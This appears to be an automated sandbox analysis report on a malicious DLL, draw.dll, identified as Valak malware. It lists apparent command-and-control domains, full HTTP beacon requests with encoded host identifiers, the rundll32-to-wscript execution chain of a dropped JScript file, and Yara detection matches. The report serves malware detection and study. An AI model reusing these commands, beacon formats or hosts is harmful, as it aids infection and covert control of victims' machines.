Source: loaddll32.exe, 00000000.00000003.543709886.0000000000B00000.00000040.00001000.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.539757980.0000000003340000.00000040.00001000.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.663663437.0000000004B43000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.541881581.0000000004B43000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.769524116.0000000004B43000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.541855896.0000000004B3E000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.541894520.0000000004B43000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 00000010.00000003.545215444.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 00000010.00000003.545195745.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 00000010.00000003.545061419.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 00000010.00000003.544989775.0000000004BCF000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 00000010.00000002.769545219.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 00000010.00000003.663036731.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 00000010.00000003.545168174.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp, iVIwVADQD.eLxan.4.dr	String found in binary or memory: http://d0d0abee1d18255e.com
Source: wscript.exe, 0000000C.00000003.663663437.0000000004B43000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.541881581.0000000004B43000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.769524116.0000000004B43000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.541855896.0000000004B3E000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.541894520.0000000004B43000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 00000010.00000003.545215444.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 00000010.00000003.545195745.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 00000010.00000003.545061419.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 00000010.00000003.544989775.0000000004BCF000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 00000010.00000002.769545219.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 00000010.00000003.663036731.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 00000010.00000003.545168174.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://d0d0abee1d18255e.comXN
Source: wscript.exe, 00000010.00000003.545168174.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp, iVIwVADQD.eLxan.4.dr	String found in binary or memory: http://d0d0f3d189430.com
Source: wscript.exe, 00000010.00000003.545168174.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp, iVIwVADQD.eLxan.4.dr	String found in binary or memory: http://ec.atdmt.com
Source: wscript.exe, 0000000C.00000002.769178783.0000000000860000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.753860322.000000000085F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ec.atdmt.com/
Source: wscript.exe, 0000000C.00000002.769178783.0000000000860000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.753860322.000000000085F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ec.atdmt.com/194-33.search.msn.com/
Source: wscript.exe, 0000000C.00000002.769178783.0000000000860000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.753860322.000000000085F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ec.atdmt.com/W
Source: wscript.exe, 0000000C.00000003.663663437.0000000004B43000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.769524116.0000000004B43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ec.atdmt.com/rpc.aspx?winrm=2387&view2=classic&regclid=YGl6bHI
Source: wscript.exe, 0000000C.00000003.753900638.000000000088F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.769313214.000000000088F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.769178783.0000000000860000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.753860322.000000000085F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ec.atdmt.com/rpc.aspx?winrm=2387&view2=classic&regclid=YGl6bHIyTE1bQ1xHWCU%2FOT5cPz85MkxNW0Nc
Source: wscript.exe, 00000010.00000002.769397829.0000000000D16000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ec.atdmt.com/rpc.aspx?winrm=2387&view2=classic&regclid=ZG1%2Ba
Source: wscript.exe, 00000010.00000002.769718218.00000000051A0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000010.00000002.769249439.00000000007E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ec.atdmt.com/rpc.aspx?winrm=2387&view2=classic&regclid=ZG1%2BaHY2SElfR1hDXCE7PTpYOzs9NkhJX0dY
Source: wscript.exe, 00000010.00000003.545168174.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp, iVIwVADQD.eLxan.4.dr	String found in binary or memory: http://knockoutlights.com
Source: wscript.exe, 0000000C.00000002.769524116.0000000004B43000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 00000010.00000002.769397829.0000000000D16000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://knockoutlights.com/rpc.aspx?winrm=2387&view2=classic&regclid=b
Source: wscript.exe, 00000010.00000002.769718218.00000000051A0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000010.00000002.769249439.00000000007E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://knockoutlights.com/rpc.aspx?winrm=2387&view2=classic&regclid=bGV2YH4%2BQEFXT1BLVCkzNTJQMzM1Pk
Source: wscript.exe, 0000000C.00000002.769378758.000000000089F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://knockoutlights.com/rpc.aspx?winrm=2387&view2=classic&regclid=bmd0Ynw8QkNVTVJJVisxNzBSMTE3PEJD
Source: loaddll32.exe, 00000000.00000003.543709886.0000000000B00000.00000040.00001000.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.539757980.0000000003340000.00000040.00001000.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.663663437.0000000004B43000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.541881581.0000000004B43000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.769524116.0000000004B43000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.541855896.0000000004B3E000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.769445270.0000000000AA6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.541894520.0000000004B43000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 00000010.00000003.545215444.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 00000010.00000003.545195745.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 00000010.00000003.545061419.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 00000010.00000003.544989775.0000000004BCF000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 00000010.00000002.769545219.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 00000010.00000003.663036731.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 00000010.00000003.545168174.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp, iVIwVADQD.eLxan.4.dr	String found in binary or memory: http://msnbot-207-46-194-33.search.msn.com
Source: wscript.exe, 0000000C.00000003.753860322.000000000085F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://msnbot-207-46-194-33.search.msn.com/
Source: wscript.exe, 0000000C.00000002.769178783.0000000000860000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.753860322.000000000085F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://msnbot-207-46-194-33.search.msn.com/G
Source: wscript.exe, 0000000C.00000003.663663437.0000000004B43000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.769524116.0000000004B43000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 00000010.00000002.769397829.0000000000D16000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://msnbot-207-46-194-33.search.msn.com/rpc.aspx?winrm=2387&view2=
Source: wscript.exe, 00000010.00000002.769718218.00000000051A0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000010.00000002.769249439.00000000007E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://msnbot-207-46-194-33.search.msn.com/rpc.aspx?winrm=2387&view2=classic&regclid=Y2p5b3ExT05YQF9
Source: wscript.exe, 0000000C.00000002.769105699.0000000000841000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.753900638.000000000088F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.769313214.000000000088F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.753950766.0000000000849000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.753860322.000000000085F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.769679607.00000000051D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://msnbot-207-46-194-33.search.msn.com/rpc.aspx?winrm=2387&view2=classic&regclid=bmd0Ynw8QkNVTVJ
Source: wscript.exe, 0000000C.00000003.663663437.0000000004B43000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.541881581.0000000004B43000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.769524116.0000000004B43000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.541855896.0000000004B3E000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.541894520.0000000004B43000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 00000010.00000003.545215444.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 00000010.00000003.545195745.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 00000010.00000003.545061419.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 00000010.00000003.544989775.0000000004BCF000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 00000010.00000002.769545219.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 00000010.00000003.663036731.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 00000010.00000003.545168174.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://msnbot-207-46-194-33.search.msn.com5
Source: wscript.exe, 00000010.00000003.545168174.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp, iVIwVADQD.eLxan.4.dr	String found in binary or memory: http://organicgreensfl.com
Source: wscript.exe, 0000000C.00000002.769378758.000000000089F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://organicgreensfl.com/
Source: wscript.exe, 0000000C.00000002.769056047.000000000082B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://organicgreensfl.com/he
Source: wscript.exe, 0000000C.00000002.769524116.0000000004B43000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.769499595.0000000004B31000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 00000010.00000002.769524971.0000000004BB1000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 00000010.00000002.769397829.0000000000D16000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://organicgreensfl.com/rpc.aspx?winrm=2387&view2=classic&regclid=
Source: wscript.exe, 00000010.00000002.769718218.00000000051A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://organicgreensfl.com/rpc.aspx?winrm=2387&view2=classic&regclid=YWh7bXMzTUxaQl1GWSQ%2BOD9dPj44M
Source: wscript.exe, 0000000C.00000002.769679607.00000000051D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://organicgreensfl.com/rpc.aspx?winrm=2387&view2=classic&regclid=b2Z1Y309Q0JUTFNIVyowNjFTMDA2PUN
Source: wscript.exe, 00000010.00000003.615182215.00000000007CD000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000010.00000003.614982319.00000000007B3000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000010.00000002.769197728.00000000007CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: wscript.exe, 0000000C.00000003.615132442.000000000085F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.615659227.0000000000878000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.769178783.0000000000860000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.753860322.000000000085F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com2=classic&regclid=YGl6bHIyTE1bQ1xHWCU%2FOT5cPz85MkxNW0NcR1glPzk%2BXD8%2FOTJuaW

Source: unknown

DNS traffic detected: queries for: msnbot-207-46-194-33.search.msn.com

Source: global traffic	HTTP traffic detected: GET /rpc.aspx?winrm=2387&view2=classic&regclid=bGV2YH4%2BQEFXT1BLVCkzNTJQMzM1PkBBV09QS1QpMzUyUDMzNT5iZWh3YT42MmE3Yjc3Nj5pZWA2PT43Nj4wNz03&client=ixxppezciktqtwhxserbxnujcbfpqcn&service_id=FE04120&ubwG=tzuqeqskfsnk HTTP/1.1Accept: /Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: knockoutlights.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rpc.aspx?winrm=2387&view2=classic&regclid=bmd0Ynw8QkNVTVJJVisxNzBSMTE3PEJDVU1SSVYrMTcwUjExNzxgZ2p1Yzw0MGM1YDU1NDxrZ2I0Pzw1NDwyNT81&client=tarbneghyrdfwglztdpcknpjvzxbxtm&service_id=FE05211&ubwG=payxcvavvogx HTTP/1.1Accept: /Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: knockoutlights.comConnection: Keep-Alive

System Summary

Malicious sample detected (through community Yara rule)

Source: 4.3.rundll32.exe.334a950.0.unpack, type: UNPACKEDPE	Matched rule: Detects JS potentially executing WMI queries Author: ditekSHen
Source: 0.3.loaddll32.exe.b0a950.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects JS potentially executing WMI queries Author: ditekSHen
Source: 4.3.rundll32.exe.334a950.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects JS potentially executing WMI queries Author: ditekSHen
Source: 3.3.rundll32.exe.119a950.0.unpack, type: UNPACKEDPE	Matched rule: Detects JS potentially executing WMI queries Author: ditekSHen
Source: 3.3.rundll32.exe.119a950.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects JS potentially executing WMI queries Author: ditekSHen
Source: 0.3.loaddll32.exe.b0a950.0.unpack, type: UNPACKEDPE	Matched rule: Detects JS potentially executing WMI queries Author: ditekSHen
Source: 00000003.00000003.535269013.0000000001190000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects JS potentially executing WMI queries Author: ditekSHen
Source: 00000000.00000003.543709886.0000000000B00000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects JS potentially executing WMI queries Author: ditekSHen
Source: 00000004.00000003.539757980.0000000003340000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects JS potentially executing WMI queries Author: ditekSHen
Source: Process Memory Space: loaddll32.exe PID: 5220, type: MEMORYSTR	Matched rule: Detects JS potentially executing WMI queries Author: ditekSHen
Source: Process Memory Space: rundll32.exe PID: 6128, type: MEMORYSTR	Matched rule: Detects JS potentially executing WMI queries Author: ditekSHen
Source: Process Memory Space: wscript.exe PID: 3680, type: MEMORYSTR	Matched rule: Detects JS potentially executing WMI queries Author: ditekSHen
Source: Process Memory Space: wscript.exe PID: 4252, type: MEMORYSTR	Matched rule: Detects JS potentially executing WMI queries Author: ditekSHen
Source: C:\Users\Public\iVIwVADQD.eLxan, type: DROPPED	Matched rule: Detects JS potentially executing WMI queries Author: ditekSHen

Source: draw.dll

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE, DLL

Source: 4.3.rundll32.exe.334a950.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_JS_WMI_ExecQuery author = ditekSHen, description = Detects JS potentially executing WMI queries
Source: 0.3.loaddll32.exe.b0a950.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_JS_WMI_ExecQuery author = ditekSHen, description = Detects JS potentially executing WMI queries
Source: 4.3.rundll32.exe.334a950.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_JS_WMI_ExecQuery author = ditekSHen, description = Detects JS potentially executing WMI queries
Source: 3.3.rundll32.exe.119a950.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_JS_WMI_ExecQuery author = ditekSHen, description = Detects JS potentially executing WMI queries
Source: 3.3.rundll32.exe.119a950.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_JS_WMI_ExecQuery author = ditekSHen, description = Detects JS potentially executing WMI queries
Source: 0.3.loaddll32.exe.b0a950.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_JS_WMI_ExecQuery author = ditekSHen, description = Detects JS potentially executing WMI queries
Source: 00000003.00000003.535269013.0000000001190000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_JS_WMI_ExecQuery author = ditekSHen, description = Detects JS potentially executing WMI queries
Source: 00000000.00000003.543709886.0000000000B00000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_JS_WMI_ExecQuery author = ditekSHen, description = Detects JS potentially executing WMI queries
Source: 00000004.00000003.539757980.0000000003340000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_JS_WMI_ExecQuery author = ditekSHen, description = Detects JS potentially executing WMI queries
Source: Process Memory Space: loaddll32.exe PID: 5220, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_JS_WMI_ExecQuery author = ditekSHen, description = Detects JS potentially executing WMI queries
Source: Process Memory Space: rundll32.exe PID: 6128, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_JS_WMI_ExecQuery author = ditekSHen, description = Detects JS potentially executing WMI queries
Source: Process Memory Space: wscript.exe PID: 3680, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_JS_WMI_ExecQuery author = ditekSHen, description = Detects JS potentially executing WMI queries
Source: Process Memory Space: wscript.exe PID: 4252, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_JS_WMI_ExecQuery author = ditekSHen, description = Detects JS potentially executing WMI queries
Source: C:\Users\Public\iVIwVADQD.eLxan, type: DROPPED	Matched rule: INDICATOR_SUSPICIOUS_JS_WMI_ExecQuery author = ditekSHen, description = Detects JS potentially executing WMI queries

Source: draw.dll

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: draw.dll	ReversingLabs: Detection: 82%
Source: draw.dll	Virustotal: Detection: 75%

Source: draw.dll

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\loaddll32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: C:\Windows\System32\loaddll32.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\draw.dll,Productword9

Source: unknown	Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe "C:\Users\user\Desktop\draw.dll"
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\draw.dll",#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\draw.dll,Productword9
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\draw.dll",#1
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\wscript.exe wscript.exe //E:jscript "C:\Users\Public\iVIwVADQD.eLxan
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\wscript.exe wscript.exe //E:jscript "C:\Users\Public\iVIwVADQD.eLxan
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\draw.dll",#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\draw.dll,Productword9
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\wscript.exe wscript.exe //E:jscript "C:\Users\Public\iVIwVADQD.eLxan
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\draw.dll",#1
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\wscript.exe wscript.exe //E:jscript "C:\Users\Public\iVIwVADQD.eLxan

Source: C:\Windows\SysWOW64\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5140:120:WilError_01

Source: C:\Windows\SysWOW64\rundll32.exe

File created: C:\Users\Public\iVIwVADQD.eLxan

Jump to behavior

Source: classification engine

Classification label: mal100.troj.evad.winDLL@12/1@10/1

Source: C:\Windows\SysWOW64\wscript.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\wscript.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: draw.dll

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: kbdusm.pdb source: loaddll32.exe, 00000000.00000003.543709886.0000000000B00000.00000040.00001000.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.539757980.0000000003340000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\Month\ago\written\Weight\Root\vowel\FatOrder.pdb source: draw.dll
Source:	Binary string: Wkbdusm.pdb source: loaddll32.exe, 00000000.00000003.543709886.0000000000B00000.00000040.00001000.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.539757980.0000000003340000.00000040.00001000.00020000.00000000.sdmp

Source: draw.dll

Static PE information: real checksum: 0x59f56 should be: 0x4d8e1

Source: C:\Windows\SysWOW64\wscript.exe

Code function: 12_2_04E9B9CD push ecx; ret

Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\SysWOW64\wscript.exe	Window found: window name: WSH-Timer
Source: C:\Windows\SysWOW64\wscript.exe	Window found: window name: WSH-Timer

Source: C:\Windows\System32\loaddll32.exe

Thread delayed: delay time: 120000

Source: wscript.exe, 0000000C.00000003.615132442.000000000085F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.769178783.0000000000860000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.753860322.000000000085F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWKD
Source: wscript.exe, 00000010.00000003.614982319.00000000007B3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: wscript.exe, 0000000C.00000003.617698980.000000000088F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.753900638.000000000088F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.769313214.000000000088F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000010.00000003.615015521.00000000007E2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000010.00000003.615322654.00000000007E2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000010.00000002.769249439.00000000007E1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: wscript.exe, 0000000C.00000003.615132442.000000000085F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.769178783.0000000000860000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.753860322.000000000085F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWPb
Source: wscript.exe, 00000010.00000003.614982319.00000000007B3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@

Source: C:\Windows\SysWOW64\wscript.exe

Code function: 12_2_04E9F081 LdrInitializeThunk,

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\wscript.exe	Domain query: ec.atdmt.com
Source: C:\Windows\SysWOW64\wscript.exe	Network Connect: 207.148.248.143 80
Source: C:\Windows\SysWOW64\wscript.exe	Domain query: a-zcorner.com
Source: C:\Windows\SysWOW64\wscript.exe	Domain query: msnbot-207-46-194-33.search.msn.com
Source: C:\Windows\SysWOW64\wscript.exe	Domain query: knockoutlights.com

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\draw.dll",#1

Source: C:\Windows\SysWOW64\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information

Yara detected Valak

Source: Yara match	File source: 4.3.rundll32.exe.334a950.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.loaddll32.exe.b0a950.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.rundll32.exe.334a950.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.3.rundll32.exe.119a950.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.3.rundll32.exe.119a950.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.loaddll32.exe.b0a950.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000010.00000002.769397829.0000000000D16000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.663663437.0000000004B43000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.545215444.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.541881581.0000000004B43000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.769524116.0000000004B43000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
